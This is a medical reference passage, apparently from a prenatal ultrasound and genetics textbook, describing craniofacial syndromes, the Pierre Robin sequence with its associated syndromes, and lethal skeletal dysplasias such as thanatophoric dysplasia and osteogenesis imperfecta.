Apert syndrome is also known as acrocephalosyndactyly type 1 and Apert-Crouzon disease.
Apert syndrome has autosomal dominant inheritance. Most of the cases are sporadic, resulting from de novo mutations. The disorder is associated with advanced paternal age.
Sonographic Findings.
Brachycephaly and acrocephaly, high forehead, flat occiput, craniosynostosis involving the coronal sutures, flat face, and hypertelorism are seen. Other ultrasound findings include agenesis of the corpus callosum, mild ventriculomegaly, and fusion of the cervical vertebrae at the level of C5-C6. In the extremities, syndactyly of both bone and soft tissue is seen, involving the second, third, and fourth fingers. Polyhydramnios (caused by the decreased fetal swallowing) and increased nuchal translucency in the first trimester have also been reported.
Typical findings include bicoronal synostosis of the coronal sutures, flattened occiput, a wide, steep forehead, hypoplastic orbits with exophthalmos and hypertelorism, short nose with depressed nasal bridge, large ears, high palate (occassional cleft palate), and dental crowding. Hydrocephalus is rare. Hearing loss is common. Symmetric syndactyly of the limbs (“mitten-like” hands and feet) is present at least from the second to fourth digits in both the bony and soft tissue. Cardiovascular and genitourinary anomalies are present in 10% of patients.
Caused by mutations in the FGFR2 genes, most commonly substitutions S252W and P253R. Genetic molecular studies are recommended for the fetus (by chorionic villus sampling or amniocentesis) and for parents when Apert syndrome is suspected. Inheritance is autosomal dominant with complete penetrance.
Other syndromes with craniosynostosis such as Crouzon, Pfeiffer, Carpenter, and Saethre-Chotzen syndromes should be considered. Molecular genetic studies can exclude these disorders. The pattern of syndactyly is the most helpful for the diagnosis of Apert syndrome.
Most mutations are de novo and the recurrence risk is low. If one of the parents carries the disorder, the recurrence risk is 50%.
Apert syndrome. Ultrasound images demonstrating frontal bossing and midface hypoplasia on two-dimensional (2D) ( A ) and 3D ( B ) images, as well as by magnetic resonance imaging ( C ). Ultrasound image also demonstrated syndactyly of the foot ( D ), which is characteristic of Apert syndrome.
Apert syndrome. Syndactyly of the hand demonstrated with two-dimensional (2D) ( A ) and 3D ( B ) ultrasound images. Syndactyly of the foot is also present ( C ).
Newborn with Apert syndrome. Note appearance of the head, with frontal bossing ( A and B ), and syndactyly of the hand ( C ) and foot ( D ).
Carpenter Syndrome
Carpenter syndrome is characterized by craniosynostosis with preaxial polydactyly of the feet. Hand anomalies include brachydactyly, syndactyly, and aplasia or hypoplasia of the middle phalanges.
Acrocephalopolysyndactyly type II is another name for Carpenter syndrome.
Carpenter syndrome is rare. Approximately 70 cases have been described.
Etiology/Pathogenesis.
RAB23 is a member of the RAB guanosine triphosphatase (GTPase) family of vesicle transport proteins and acts as a negative regulator of hedgehog signaling. Abnormal hedgehog signaling may lead to much of the clinically recognized phenotype.
Unlikely other syndromic craniosynostoses, in which coronal sutures are most frequently affected, in Carpenter syndrome, fusion of the midline sutures (metopic and sagittal) is common. In severe cases, this leads to cloverleaf skull. On prenatal ultrasound examination, reported features include cystic hygroma, abnormal skull shape, bowed femora, polydactyly, and complex heart defects.
Carpenter syndrome is caused by mutations in RAB23 . The inheritance is autosomal recessive. A subtype of Carpenter syndrome with lateralization defects is thought to be caused by mutations in MEGF8 .
Obesity, umbilical hernia, hearing loss, cryptorchidism, and cardiac defects are often present. Craniosynostosis leads to distinctive facial features. The degree of intellectual disability varies.
Features overlap with Greig cephalopolysyndactyly syndrome. Molecular genetic testing can clarify the diagnosis.
Phenotype is extremely variable, even within the same family. Life expectancy is shortened.
Crouzon syndrome is an FGFR -related craniosynostosis characterized by premature fusion of the coronal and frontosphenoidal sutures leading to brachycephaly and a prominent forehead. Facial dysmorphism (proptosis from orbital and midface hypoplasia, external strabismus, mandicular prognathism) is present and extremities are normal.
The incidence of Crouzon syndrome is 1.6 per 100,000 live births. It is seen in 4.5% of craniosynostosis cases.
Sonographic findings include brachycephaly, midface hypoplasia, and a wide anterior cranial base. Hands and feet are normal. Exophthalmos is always present. About 20% of patients develop optic atrophy. Dental crowding and an open bite are common.
Caused by mutations in FGFR2 (except for Crouzon syndrome with acanthosis nigricans, which is caused by mutations in FGFR3 , seen in ~5% of individuals with Crouzon syndrome). Inheritance is autosomal dominant with complete penetrance and variable expressivity.
Recurrence risk is 50% if one parent carries the causative mutation. Occassionally it appears de novo.
Progressive hydrocephalus is seen in 30% of cases and can lead to tonsillar herniation. Sacrococcygeal tail can also be seen. Cardiovascular anomalies and cleft lip and palate have been reported but are rare.
Other FGFR -related craniosynostoses should be considered, including Crouzon syndrome with acanthosis nigricans (should consider if choanal atresia is present).
Intellect is generally normal, hearing loss is common, and complications related to hydrocephalus can be life threatening if not treated appropriately.
Pfeiffer syndrome is characterized by bilateral coronal craniosynostosis, midface hypoplasia, syndactyly of hands and feet, and congenitally enlarged thumbs. Conductive hearing loss is present in more than 80% of patients. The syndrome is divided in three clinical subtypes, with diagnostic and prognostic implications:
Type I: classic appearance with craniosynostosis (leading to turribrachycephaly), broad thumbs, and syndactyly. This form is compatible with life, and patients often have normal intelligence.
Type II: cloverleaf skull, ocular proptosis, broad thumbs, variable visceral anomalies, elbow ankylosis, choanal atresia, and CNS involvement (hydrocephalus). Intellectual disability is common, and this form usually results in early death.
Type III: craniosynostosis, severe ocular proptosis without cloverleaf skull, elbow ankylosis, and variable visceral anomalies. Affected fetuses have severe neurologic compromise (including hydrocephalus and tonsillar herniation), with poor prognosis and early death.
Pfeiffer syndrome is also known as acrocephalosyndactyly type 5.
The incidence is 1 per 100,000 for all types combined.
Pfeiffer syndrome is genetically heterogeneous and is caused by mutations in either FGFR2 or FGRF1 (type I). Frequently, no mutation can be identified. Type I has autosomal dominant inheritance with complete penetrance and variable expressivity. Most mutations in type II and III are de novo and associated with advanced paternal age.
Recurrence risk is 50% if a parental mutation is present. If the mutation is de novo, recurrence risk is very low.
Sonographic signs of Pfeiffer syndrome include craniofacial anomalies (brachycephaly, acrocephaly, craniosynostosis of the coronal suture, hypertelorism, small nose, and low nasal bridge) and hands and feet anomalies (partial syndactyly of second and third fingers and second, third, and fourth toes, broad thumb, and big toe).
Choanal atresia, tracheomalacia and bronchomalacia, cloverleaf skull, fused vertebra, Arnold-Chiari malformation, hydrocephalus, and imperforate anus are associated with this syndrome. After birth, seizures and intellectual disability may be seen.
Saethre-Chotzen and Jackson-Weiss syndromes should be considered in the differential diagnosis.
The prognosis depends on the severity of associated anomalies, in particular the severity of the CNS compromise. Type I generally has a good prognosis. Types II and III are not compatible with life, and death occurs early.
Saethre-Chotzen Syndrome
Saethre-Chotzen syndrome is characterized by coronal synostosis (unilateral or bilateral), facial asymmetry, ptosis, and characteristic ear appearance (small pinna with a prominent crus). Often present is 2-3 syndactyly of the hand.
Synonyms include acrocephalosyndactyly type III and Robinow-Sorauf syndrome (a mild variant).
Incidence is 1 in 25,000 to 50,000 individuals.
A clinical diagnosis can be made based on craniosynostosis (usually of the coronal sutures), brachycephaly, low frontal hairline, ptosis, facial asymmetry, small ears, and limb anomalies (2-3 syndactyly of the hand, brachydactyly, hallux abnormalities).
Saethre-Chotzen syndrome is caused by mutations in TWIST1 ; sequencing and deletion/duplication analysis should be performed. Mutations have also been reported in FGFR2 . Inheritance is autosomal dominant with incomplete penetrance and variable expressivity.
If one parent also carries the causative mutation, recurrence risk is 50%. It is significantly less if the mutation is de novo.
Associated anomalies include short stature, parietal foramina, radioulnar synostosis, cleft palate, maxillary hypoplasia, hypertelorism, congenital heart disease, and segmentation defects of the vertebrae.
Many features are shared with Muenke syndrome, and, thus, genetic evaluation should also include analysis of the FGFR2 and FGFR3 genes. Pfeiffer syndrome and Jackson-Weiss syndrome should also be considered.
Intelligence is often normal, although mild to moderate intellectual and developmental delay has been reported. Conductive and sensorineural hearing loss may be present.
Branchiooculofacial Syndrome
Branchiooculofacial syndrome (BOFS) is characterized by branchial skin defects (thin skin, erythematous lesions, erosions), ocular anomlies (microphthalmia, anophthalmia, coloboma, nasolacrimal duct stenosis/atresia), and facial anomalies (hypertelorism, broad nasal tip, upslanted palpebral fissues, cleft lip ± cleft palate, upper lip pits, lower facial weakness). Ear anomalies are common.
BOFS is rare. Fewer than 100 well-described cases have been reported.
Diagnosis is made on the clinical constellation of branchial skin defect, ocular anomaly, and characteristic facial appearance.
BOFS is caused by mutations in the gene TFAP2A . Inheritance is autosomal dominant. De novo mutations are present in 50% to 60% of affected individuals. Penetrance is complete.
Recurrence risk is 50% if a parental mutation is found.
Other anomalies include thymic anomalies, renal anomalies, hypoplastic teeth, dysplastic nails, premature hair graying, and defects in hearing and vision.
Intellect is generally normal. Feeding difficulties, as well as cosmetic, visual, hearing, and speech issues are often present.
Frontonasal Dysplasia
Frontonasal dysplasia is characterized by a broad forehead, widow’s peak hairline, ocular hypertelorism, and abnormal nostrils (notched or completely divided) with absence of the nasal tip. A midline defect in the frontal bone (cranium bifidum) is also commonly seen.
Synonyms include median cleft face syndrome, frontonasal malformation, and frontorhiny.
Incidence is unknown. Frontonasal dysplasia is rare; at least 100 cases have been reported in the literature.
Frontonasal dysplasia is due to malformation of the frontonasal elevation. The implicated genes ( ALX1, ALX 3, and ALX 4 ) encode transcription factors that regulate development of the eyes, nose, and mouth.
The diagnosis is based on the constellation of eye, forehead, and nose findings described earlier.
The disorder is genetically heterogeneous, with autosomal recessive, autosomal dominant, and X-linked forms of inheritance all reported. The autosomal recessive form is associated with mutations in ALX1 and ALX3 . The autosomal dominant form is associated with ALX4 gene mutations.
The recurrence risk is dependent on mode of inheritance.
Most individuals have normal intellectual development. Overall prognosis depends on the severity of the malformations and whether or not surgical intervention can improve breathing and feeding issues.
Multistage craniofacial surgery is generally needed; for less severe malformations, surgery is often performed at age 6 to 8 and can have excellent cosmetic results.
Goldenhar Syndrome
Goldenhar syndrome is characterized by hemifacial microsomia, epibulbar dermoids, preauricular appendages, ear hypoplasia, transverse facial clefts, asymmetry of the skull, and spinal anomalies (vertebral segmentation errors).
Incidence is 1 in 3500 to 1 in 26,000 live births. Male-to-female ratio is 3 : 2.
Synonyms include oculo-auriculo-vertebral dysplasia, hemifacial microsomia, craniofacial microsomia, Goldenhar-Gorlin’s syndrome, and facio-auriculo-vertebral dysplasia.
Goldenhar syndrome is caused by developmental abnormalities of the first and second branchial arches.
Findings are similar to Treacher Collins syndrome (see later) except that they are unilateral leading to significant facial asymmetry. Other features include dystopia, microtia, choanal atresia, cleft palate ± lip, jaw malocclusion, vertebral anomalies, cardiac anomalies, genitourinary anomalies, and CNS involvement.
Possible fetal hemorrhage in the region of the first and second branchial arches when the blood supply of these arches switches from the stapedial artery to the external carotid artery.
Genetics for Goldenhar syndrome are unknown. Most cases are thought to be sporadic, although both autosomal recessive and autosomal dominant inheritance have been reported. Transmission is linked in some cases to a region on chromosome 14q32.
Treacher Collins syndrome, Kaufman syndrome (oculocerebrofacial syndrome), acrofacial dysostosis, CHARGE syndrome ( c oloboma of the eye, h eart defects, a tresia of the choanae, r etarded mental and growth development, g enital anomalies, and e ar anomalies), VACTERL, and Nager syndrome should be considered.
Treatment is generally cosmetic with multiple reconstructions required in some cases. Airway and vertebral complications have been reported.
Recurrence risk is minimal unless an autosomal dominant or autosomal recessive inheritance pattern is suggested.
Malar and orbital reconstructions are generally needed and are often performed after age 6. Structural anomalies of the eyes and ears can be corrected with plastic surgery.
Gorlin Syndrome
Gorlin syndrome is characterized by the development of jaw keratocysts and multiple basal cell carcinomas, as well as a characteristic facial appearance with macrocephaly, prominent forehead, coarse facial features, and facial milia.
Gorlin syndrome has also been referred to as nevoid basal cell carcinoma syndrome (NBCCS).
Incidence is estimated to be as high as 1 in 18,976.
Mutations in PTCH1 lead to alterations in the hedgehog signaling pathway leading to neoplastic cell growth.
Prenatally, cranial and cerebral malformations can be seen, including macrocephaly and ventriculomegaly. Diagnosis is based on major clinical criteria including calcification of the falx, jaw keratocyst, palmar/plantar pits, and multiple basal cell carcinomas, as well as minor criteria.
Gorlin syndrome results from mutations in the gene PTCH1 . Inheritance is autosomal dominant. From 20% to 30% of mutations are de novo. Penetrance is complete; expressivity can be variable.
If a parental mutation is present, recurrence risk is 50%.
Most individuals have skeletal anomalies (bifid ribs, wedge-shaped vertebrae) and ectopic calcification (in the falx). Cardiac and ovarian fibromas can be seen. Children can develop medulloblastoma (5%). Other anomalies include lymphomesenteric or pleural cysts, cleft lip/palate, polydactyly, and ocular anomalies.
When macrocephaly is detected prenatally, the differential diagnosis includes several overgrowth syndromes, such as Sotos syndrome and Beckwith-Wiedemann syndrome (BWS).
Life expectancy is not changed. Cosmetic issues with multiple skin tumors and their removal can lead to social difficulties and can affect quality of life.
Management/Prevention.
Radiotherapy can lead to the development of thousands of basal cell carcinomas and should be avoided if possible. X-ray exposure should be limited. Direct sun exposure should be avoided.
Hallerman-Streiff Syndrome
Hallerman-Streiff syndrome is characterized by brachycephaly with frontal bossing, micrognathia, beaked nose, eye anomalies (microphthalmia, cataracts), dental anomalies, hypotrichosis, skin atrophy (especially of the face), and short stature.
The syndrome is rare, with approximately 150 cases reported.
Diagnosis is based on the clinical criteria described earlier.
Generally thought to be sporadic, in some cases, the syndrome has been associated with mutations in GJA1 with autosomal recessive inheritance.
Recurrence risk is unknown, but thought to be low.
Many features overlap with oculodentodigital dysplasia (ODDD) and other progeroid syndromes.
Intellectual disability is present in approximately 15%. Upper airway obstruction can be significant and can lead to cardiac failure and early death.
Initial management is focused on airway issues; later management includes cosmetic surgical procedures.
Nager Syndrome
Nager syndrome is characterized by preaxial limb anomalies (radial hypoplasia/absence, thumb hypoplasia/absence, triphalangeal thumbs, radioulnar synostosis) and facial anomalies (malar hypoplasia, downward slanting palpebral fissures, lower eyelid coloboma, severe micrognathia).
Nager syndrome is also known as preaxial acrofacial dysostosis.
Incidence is unknown, but the syndrome is rare.
Diagnosis is based on the clinical criteria described earlier, including craniofacial and limb malformations. Prenatally, severe micrognathia and upper limb anomalies may be seen.
The genetic basis is heterogeneous. Recent reports suggest that haploinsufficiency of the gene SF3B4 leads to the phenotype in families with suggested autosomal dominant inheritance, as well as many individuals with de novo mutations. Autosomal recessive inheritance has also been suggested in some cases.
Recurrence risk depends on mode of inheritance.
Facial anomalies are similar to those seen with Treacher Collins syndrome. Differential diagnosis should include Miller syndrome.
Upper airway issues can be significant, requiring tracheostomy. Hearing loss, vision loss, and hand anomalies can affect development and quality of life
Oral-Facial-Digital Syndrome, Type I
Oral-facial-digital syndrome, type I (OFD1), is characterized by anomalies in multiple areas. including the mouth (lobed tongue, tongue lesions, cleft palate, dental anomalies), face (hypertelorism, alae nasi hypoplasia, median cleft, micrognathia), digits (brachydactyly, syndactyly, polydacyly of the hands, duplicated great toe), brain (intracerebral cysts, cerebellar agenesis, agenesis of the corpus callosum), and kidneys (polycystic kidneys).
OFD1 is also known as Papillon-Léage-Psaume syndrome.
Almost all affected individuals are female, although males with OFD1 have also been described.
OFD1 is due to dysfunction of primary cilia.
Many individuals are diagnosed at birth based on the characteristic anomalies. Some cases are diagnosed after polycystic kidney disease is found.
The syndrome is due to mutations in the OFD1 gene. Inheritance is X-linked dominant. Approximately 75% of individuals have no family history of OFD1. Penetrance is high, with highly variable expressivity.
Recurrence risk is 50% in pregnancies of a female with OFD1. The risk is low if no maternal mutation is present.
Differential diagnosis includes the other oral-facial-digital syndromes, types 2 to 9, as well as other disorders with cystic renal disease, and Meckel-Gruber syndrome.
Up to 50% of individuals have intellectual disability, but generally mild. Seizure disorder can be present.
Surgery for oral and facial anomalies is often needed. Renal disease should be monitored.
Pierre Robin Sequence
The Pierre Robin sequence consists of the occurrence of three anomalies together: cleft palate, micrognathia, and glossoptosis. These anomalies are found together in multiple syndromes.
Pierre Robin sequence is also called cleft palate-micrognathia-glossoptosis, Pierre Robin syndrome, and Robin anomalad.
Incidence is 1 in 8500 to 1 in 14,000 births. One half of patients with Pierre Robin sequence have an underlying syndrome.
Inheritance is autosomal-recessive, with a few X-linked cases. Some authors suggest a prenatal and neonatal brainstem dysfunction as a neuroembryologic hypothesis to explain the onset of some cases of Pierre Robin sequence.
Micrognathia is most visible on prenatal ultrasound imaging. Isolated cleft palate is more difficult to detect prenatally. Polyhydramnios may be seen as a result of swallowing difficulty.
This disorder is heterogeneous; it can be monogenic, chromosomal, or related to teratogens. The cause is unknown in some cases. Multiple forms of inheritance are involved, including autosomal dominant, autosomal recessive, and X-linked.
Differential diagnosis includes syndromes that involve Pierre Robin sequence, such as Stickler syndrome, as well as fetal alcohol syndrome.
Other anomalies depend on the exact diagnosis. Cardiac abnormalities are common with an incidence approaching 20%.
Upper airway obstruction, neonatal respiratory distress, and feeding problems are common issues.
Associated Syndromes.
See Table 16-3 for a complete list of associated syndromes.
Selected Syndromes and Chromosomal Anomalies Associated With Pierre Robin Sequence
From Tan TY, Kilpatrick N, Farlie P: Developmental and genetic perspectives on Pierre Robin sequence. Am J Med Genet C Semin Med Genet 163C:295-305, 2013, Table 1.
Causative Gene
Primary Skeletal Dysplasias
Campomelic dysplasia
Short stature, campomelia, hearing loss, scoliosis
Stickler syndrome
COL2A1, COL11A1, COL11A2
Myopia, retinal detachment, hearing loss, mild short stature
Spondyloepiphyseal dysplasia congenita
Short spine, pectus carinatum, myopia, normal hands and feet
Kniest dysplasia
Short trunk, kyphosis, lumbar lordosis, short limbs, reduced joint mobility
Marshall syndrome
COL11A1
Hypoplastic nasal bones, congenital cataracts, myopia, sensorineural hearing loss
Otospondylomegaepiphyseal dysplasia
Sensorineural hearing loss, enlarged painful joints, short stature, short limbs
Diastrophic dysplasia
Short stature, short limbs, joint contractures, talipes equinovarus, kyphoscoliosis
Osteopathia striata with cranial sclerosis
WTX
X-linked dominant
Macrocephaly, frontal bossing, hearing loss, skull base sclerosis, linear metaphyseal bands
Otopalatodigital syndrome type II
FLNA
X-linked semidominant
Frontal bossing, short thumbs and halluces, bowed long bones, conductive hearing loss
Multiple Congenital Anomaly Syndromes
Catel-Manzke syndrome
Probably autosomal recessive
Clinodactyly of index finger due to accessory ossicle between metacarpal and proximal phalanx, congenital cardiac defects
Toriello-Carey syndrome
Possibly autosomal recessive
Agenesis corpus callosum, telecanthus, developmental delay
TCOF1
Downslanting palpebral fissures, lower eyelid colobomas, zygomatic hypoplasia
Nager preaxial acrofacial dysostosis
SF3B4
Downslating palpebral fissures, absence of medial third lower lid lashes, conductive hearing loss, radial ray defects
Miller postaxial acrofacial dysostosis
DHODH
Lower lid ectropion, cupped ears, hearing loss, bilateral absence of fifth fingers, supernumerary nipples
Mandibulofacial dysostosis Guion-Almeida type
EFTUD2
Microcephaly, developmental delay, dysplastic ears, preauricular tags, choanal atresia
Auriculocondylar syndrome
GNAI3, PLCB4
“Question mark” ears, small mouth, prominent cheeks, anomalies of the temporomandibular joint and condyle
Cerebrocostomandibular syndrome
Autosomal dominant and recessive reported
Narrow thorax, rib anomalies, conductive hearing loss, growth restriction
Cerebrocostomandibular-like syndrome
Costovertebral defects, microcephaly, growth restriction, developmental delay, brain anomalies, cryptorchidism
Talipes, ASD, PRS, and persistence of left superior vena cava (TARP)
RBM10
X-linked recessive
Talipes, congenital cardiac defects, persistence of left superior vena cava
Distal arthrogryposis-PRS (Illum syndrome)
Joint contractures, autonomic instability, “whistling face,” nervous system classification
PRS, cleft mandible, limb anomalies (Richieri-Costa-Pereira syndrome)
Short stature, hypoplastic thumbs, talipes, laryngeal malformations
Andersen-Tawil syndrome
Cardiac arrhythmias, periodic paralysis, low-set ears, short stature, digital anomalies
PRS + oligodactyly
Probably autosomal dominant
Oligodactyly
Teratogenic
Microcephaly, growth and developmental delay, short palpebral fissures
Neuromuscular Conditions
Congenital myotonic dystrophy
DMPK
Severe hypotonia, respiratory insufficiency
Carey-Fineman-Ziter syndrome
Hypotonia, Moebius anomaly, growth delay, feeding difficulties, scoliosis
Sporadic chromosomal
Microcephaly, severe growth and cognitive impairment, prominent occiput, cardiac defects, low-set ears, short sternum, overlapping flexed fingers, prominent calcaneus
22q11 microdeletion
TBX1
Autosomal dominant chromosomal
Upslanting palpebral fissures, prominent tubular nose, conotruncal heart defects, renal and endocrine abnormalities, neuropsychiatric problems
17q24 translocations and microdeletions
Isolated PRS
17q21.31q24.3 inversion and deletion
PRS with hypoploastic scapula and bilateral clubfeet
2q33 microdeletion
SATB2
Growth restriction, feeding difficulties, downslating palpebral fissures, prominent nose, dental anomalies, behavioral problems, developmental delay
4q terminal deletion
Cardiac defects, mild developmental delay, but can be normal, stiff hypoplastic fifth fingers with hooked or volar nails
1q duplication
Bilateral fixed flexion deformities of fingers, cardiac and brain anomalies
Partial trisomy 11q
Developmental delay, congenital heart defects
t(1;2)(p34;q33)
FAF1
Chromosomal
PRS in father and son with translocation disrupting FAF1 at 1p34
20p12.3 microdeletion
Long philtrum, digital anomalies, hypotonia
MN1
Developmental delay, features of NF2 and Toriello-Carey due to contiguous gene deletion
ASD, atrial septal defect; PRS, Pierre Robin sequence; OMIM, Online Mendelian Inheritance in Man.
Stickler Syndrome.
Stickler syndrome is characterized by ocular findings (myopia, cataract, retinal detachment) and hearing loss (conductive and sensorineural) in addition to Pierre Robin sequence. Joint issues are also common (hypermobility, spondyloepiphyseal dysplasia, precocious osteoarthritis). Mutations in one of five genes are often present: COL2A1 , COL11A1 , and COL11A2 (autosomal dominant inheritance; COL2A1 most common, at 80-90%), as well as COL9A1 and COL9A2 (autosomal recessive; rare). Penetrance is complete but significant phenotypic variability occurs even within families. From 20% to 30% of patients with Pierre Robin sequence may have Stickler syndrome.
Cerebrocostomandibular Syndrome.
Cerebrocostomandibular syndrome (CCMS) is characterized by costovertebral anomalies (dorsal rib defects) in addition to Pierre Robin sequence. Rib defects often lead to a bell-shaped thorax and can result in flail chest. Other anomalies include growth retardation, scoliosis, dental anomalies, feeding issues, and conductive hearing loss. Severity is highly variable, although prognosis is often poor. This disorder is very rare, with slightly over 80 cases reported. Genetics are unknown, although possible defects in sonic hedgehog signaling have been implicated.
Micrognathia. Profile of a fetus shows mild micrognathia.
Severe micrognathia in a fetus with Nager syndrome. This can result in severe airway compromise at birth.
Micrognathia in a fetus with Pierre Robin sequence.
Treacher Collins syndrome is characterized by deficient generation of the lower two thirds of the face, including hypoplasia of the zygoma, maxilla, and mandible.
Treacher Collins syndrome is also known as mandibulofacial dysostosis and Treacher Collins-Franceschetti syndrome.
The syndrome is due to abnormal development of the first and second branchial arches.
Incidence is 1 in 50,000 live births.
Affected individuals have maxillary and mandibular hypoplasia, choanal atresia/stenosis, downward slanting palpebral fissures, notching of the lower eyelid, sparse or absent eyelashes, microtia/absent external ear, middle ear hypoplasia, cleft palate ± lip, and dental anomalies.
Three causative genes have been found: TCOF1 and POLR1D (autosomal dominant inheritance; most common) as well as POLR1C (autosomal recessive; only 1% of cases). Sixty percent of cases result from de novo mutations. Significant phenotypic variability is seen, even within families. Penetrance is high, but cases of nonpenetrance have been reported.
Mutations in the preceding genes lead to abnormal production of ribosomal RNA important in the development of the first and second branchial arches, leading structural facial anomalies.
Recurrence risk is 50% for the autosomal dominant genes if a parental mutation is present, low if mutation is de novo, and 25% for the autosomal recessive form.
Differential diagnosis includes the other mandibulofacial dysostoses, such as Toriello syndrome, Bauru syndrome, Hedera-Toriello-Petty syndrome, and Guion-Almeida syndrome. Treacher Collins syndrome also shares some features of Nager syndrome, Miller syndrome, Goldenhar syndrome, and craniofacial microsomia.
Intelligence is normal. Middle ear hypoplasia causes conductive deafness (40-50% of individuals). Vision loss can also occur (37%). Speech issues are common.
Intervention may be needed for the airway and feeding issues.
Van der Woude Syndrome
Van der Woude syndrome (VWS) is included in a spectrum of IRF6 -related disorders ranging from isolated cleft lip/palate and popliteal pterygium syndrome. VWS is characterized by lower lip pits, cleft lip and palate, cleft uvula, and hypodontia.
VWS has been classified as types 1 and 2.
Incidence is 1 in 40,000 to 1 in 100,000 births. VWS is the most common form of syndromic clefting, accounting for 2% of all cases of cleft lip and palate.
IRF6 (interferon regulatory factor 6) is a transcription factor involved in orofacial development.
Prenatal ultrasound examination can detect a cleft lip ± cleft palate, but is likely to miss an isolated cleft palate and lip pits.
VWS type 1 is caused by mutations in the IRF6 gene; type 2 is caused by mutations in the GRHL3 gene (5% of all VWS cases). Inheritance is autosomal dominant. Penetrance is high but can be incomplete. De novo mutations have been reported.
Bartsocas-Pappas syndrome (popliteal pterygium syndrome, lethal type), Kabuki syndrome, BOFS, and isolated cleft lip and palate are considered in the differential diagnosis.
Multiple surgeries are often needed to treat lip pitting and can lead to scarring and decreased ability to open the mouth. Psychomotor development is generally normal.
Coronal ultrasound image showing unilateral cleft lip ( arrow ) in a fetus with van der Woude syndrome.
X-linked Opitz G/BBB Syndrome
X-linked Opitz G syndrome (XLOS) is characterized by facial anomalies (hypertelorism, prominent forehead, widow’s peak, broad nasal bridge, anteverted nares), laryngeotracheoesophageal defects, and genitourinary anomalies (hypospadias, cryptorchidism, bifid scrotum).
Incidence is 1 in 50,000 to 1 in 100,000 males.
Mutations in MID1 lead to altered mTORC1 signaling, which is thought to affect the development of ventral midline anatomic structures.
Diagnosis is most often based on clinical findings with abnormalities in ventral midline structures, as described previously. Prenatally, those cases associated with congenital heart defects and cleft lip are more likely to be detected.
XLOS is due to mutations in MID1 . Inheritance is X-linked. Many individuals are the only ones known to be affected within their families. Penetrance is high; wide phenotypic variability is seen even within families.
If the mother is a carrier, there is a 50% chance of transmitting the disease-causing mutation in each pregnancy. Sons who inherit the mutation will be affected. Daughters will be carriers with isolated hypertelorism.
Other anomalies include cleft lip/palate (50%), congenital heart defects, imperforate or ectopic anus, and midline brain defects.
FG syndrome, craniofrontonasal dysplasia, and Mowat-Wilson syndrome should be considered.
Intellectual disability and developmental delay are seen in 50% of affected males. Prognosis depends on the severity of the associated anomalies.
A multidisciplinary team is needed to manage the multiple anomalies.
Overall, skeletal dysplasias are seen in 2.4 per 10,000 births, and of these, 0.95 to 1.5 per 10,000 live births are lethal skeletal dysplasias. As a group, there are more than 450 skeletal dysplasias and the specific disorder can be difficult to determine based on prenatal ultrasound findings alone. A genetic cause has been identified for more than 50% of skeletal dysplasias; many are due to de novo mutations. Those with autosomal recessive inheritance often occur without a family history.
In the prenatal setting, particular emphasis should be given to identifying those disorders with neonatal or infantile lethality. Specific details should be obtained on prenatal ultrasound examination if a skeletal dysplasia is suspected, including length and appearance of long bones, facial features, spine, and extremity anomalies, as well as femur/foot ratio. Measurements that can assist in predicting neonatal lethality include chest circumference/abdominal circumference ratio and femur length/abdominal circumference ratio.
Of the lethal skeletal dysplasias, the most common are thanatophoric dysplasia (TD) and osteogenesis imperfecta (type 2), followed by achondrogenesis. Together, these three disorders represent 40% to 60% of all lethal skeletal dysplasias. Other relatively common lethal skeletal dysplasias include campomelic dysplasia, hypophosphatasia congenita, and short-rib polydactyly syndromes. Lethal disorders seen more rarely include atelosteogenesis, rhizomelic chondrodysplasia punctata, and fibrochondrogenesis. The most common nonlethal skeletal dysplasia is achondroplasia. These disorders are each reviewed in more detail in this section.
Thanatophoric Dysplasia
TD is the most common lethal skeletal dysplasia and is characterized by severe rhizomelia, small thorax, normal trunk length, normal bone mineralization, no fractures, thickened redundant skin, and platyspondyly (flattened vertebral bodies). TD is divided into two subtypes:
Type 1: TD1 is the more common form. The femurs have a “telephone receiver” shape, and frontal bossing and midface hypoplasia are present. Cloverleaf skull is not seen. The hands and feet are normal, but the fingers are short.
Type II: TD2 is the less common form. Femurs are straight with flared metaphyses, and a cloverleaf skull is present (due to craniosynostosis of the lambdoid and coronal sutures).
Incidence is 1 in 20,000 births.
Mutations in FGFR3 are gain-of-function mutations that lead to a constitutively active protein. This leads to chondrocyte proliferation and premature maturation of bone.
TD1 is caused most frequently by mutations in the fibroblast growth factor receptor 3 gene ( FGFR3 ); the most common mutations are R248C and Y373C. TD2 is also caused by mutations in FGFR3 , specifically the mutation K650E . Inheritance is autosomal dominant. Because the disorder is lethal, new diagnoses are generally the result of de novo mutations. Advanced paternal age has been associated with an increased risk.
Recurrence risk is low because most mutations are de novo; germline mosaicism remains a possibility but has not been reported in individuals without signs of skeletal dysplasia.
Prenatal findings include severe rhizomelia (seen as early as 12-14 weeks) and a hypoplastic thorax. Craniofacial dysmorphisms include macrocephaly, frontal bossing, midface hypoplasia, and cloverleaf skull. Other features include brachydactyly, platyspondyly, hypotonia, and redundant skinfolds. Other brain anomalies may be seen including polymicrogyria, deep and transverse temporal sulci, and temporal lobe enlargement. Polyhydramnios is seen in approximately 50% of cases. Increased nuchal translucency may be present.
The differential diagnosis includes other types of short-limbed dwarfism and disorders with a cloverleaf skull (such as Apert, Crouzon, Pfeiffer, and Carpenter syndromes). The features can closely resemble homozygous achondroplasia with autosomal recessive inheritance; it can be distinguished from TD by the presence of positive carrier status for heterozygous FGFR3 mutations in each parent in the case of achondroplasia.
In general, affected infants die shortly after birth of respiratory insufficiency due to a small thorax and lung hypoplasia.
The option of pregnancy termination should be offered before viability. Sonographic evaluation of hydrocephalus is recommended because it can lead to malpresentation and difficult delivery. If massive hydrocephalus has developed, cephalocentesis or elective cesarean delivery should be considered to avoid maternal trauma.
Typical cloverleaf skull such as that seen in thanatophoric dysplasia in sagittal ( A ), coronal ( B ), and axial ( C ) planes.
Thanatophoric dysplasia. A, Markedly short femur with telephone receiver morphologic appearance; B, axial images demonstrating small thorax with short ribs; C, frontal bossing.
Osteogenesis imperfecta (OI) is a heterogeneous group of genetic disorders (classically divided in four types: I, II [congenital], III, and IV) characterized by severe bone fragility, leading to abnormal ossification and multiple fractures. The clinical features range from perinatal lethality (type II) to severe skeletal deformities to those with minimal features. The four types are described as follows:
Type I: classic nondeforming OI with blue sclerae. Deformities are not seen prenatally.
Type II: perinatal lethal OI. This is the most severe form and can be seen prenatally.
Type III: progressively deforming OI. Some features can be seen prenatally.
Type IV: common variable OI with normal sclerae. Deformities are not generally seen prenatally.
OI is also called brittle bone disease.
The incidence is 6 to 7 per 100,000 for all types of OI, with types I and IV representing more than one half of all cases. Types II and II each have an incidence of 1 to 2 per 100,000.
